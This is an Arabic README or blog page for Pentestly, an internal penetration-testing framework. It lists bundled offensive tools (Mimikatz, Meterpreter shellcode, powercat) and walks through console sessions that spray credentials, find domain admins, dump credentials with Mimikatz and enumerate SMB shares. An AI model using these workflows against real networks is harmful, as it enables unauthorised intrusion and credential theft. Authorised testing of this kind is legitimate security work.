إطار اختبار اختراق داخلي بلغة بايثون وباورشيل
بنتيستلي هو مزيج من أدوات بايثون المتوسعة لاستخدامها في اختبارات الاختراق. الهدف هو استخدام واجهة مستخدم مألوفة مع تسهيل المساهمات في الإطار باستخدام قوة بايثون.
منشور المدونة: إطار بنتيستلي: عندما يلتقي اختبار الاختراق مع بايثون وباورشيل
المؤلف: @ctfhacker / كوري دوبلانتيس
يقف بنتيستلي على أكتاف العمالقة. فيما يلي الأدوات الحالية المستخدمة في بنتيستلي:
recon-ng - قاعدة البيانات الخلفية لـ recon-ng مصممة بشكل جميل ويتم الاستفادة منها في بنتيستلي لمعالجة البيانات
wmiexec.py - يتيح تنفيذ أوامر باورشيل بسرعة وسهولة عبر WMI
smbmap.py - أداة مفيدة لتعداد مشاركات SMB
Invoke-Mimikatz.ps1 - تطبيق Mimikatz في باورشيل
powercat.ps1 - وظائف شبيهة بـ Netcat في باورشيل
Invoke-Shellcode.ps1 - نشر Meterpreter في باورشيل
CrackMapExec - مصدر إلهام لخادم Mimikatz البسيط في بنتيستلي
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
دعنا نستعرض عدة وظائف مطبقة حالياً.
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes مسار واسم ملف لإدخال nmap XML
[pentestly][project][nmap_xml] > run
استخدام ملف يحتوي على بيانات الاعتماد لاختبار تسجيل الدخول
[pentestly][project][login] > cat /tmp/creds
[*] الأمر: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
استخدام اسم مستخدم وكلمة مرور فرديين
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
استخدام بيانات الاعتماد على مجموعة فرعية صغيرة من عناوين IP أي على شبكة 192.168.8.0/24 الموجودة في الجدول
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # لاحظ البحث الضبابي - get_domain يجد get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes مصدر الإدخال (انظر 'show info' للتفاصيل)
[pentestly][project][get_domain_admin_names] > run
[*] تم العثور على مسؤول مجال: domain\admin1
[*] تم العثور على مسؤول مجال: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
اختر واجهة محلية لاستضافة البرامج النصية
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] بيانات اعتماد التنفيذ: domain\Admin:[email protected]
[*] نجاح! Admin.DA:p@$$w0rd - مسؤول المجال!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] بيانات اعتماد التنفيذ: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares
+------------------------------------------------------------------------------------------------+
| rowid | host | username | readwrite | readonly | noaccess | module |
+-------------------------------------------------------------------------------------------------+
| 1 | 192.168.224.252 | Administrator | | ADMIN$,C,C$,Users | IPC$ | enumshares |
+-------------------------------------------------------------------------------------------------+
[pentestly][default][interesting_files] > show options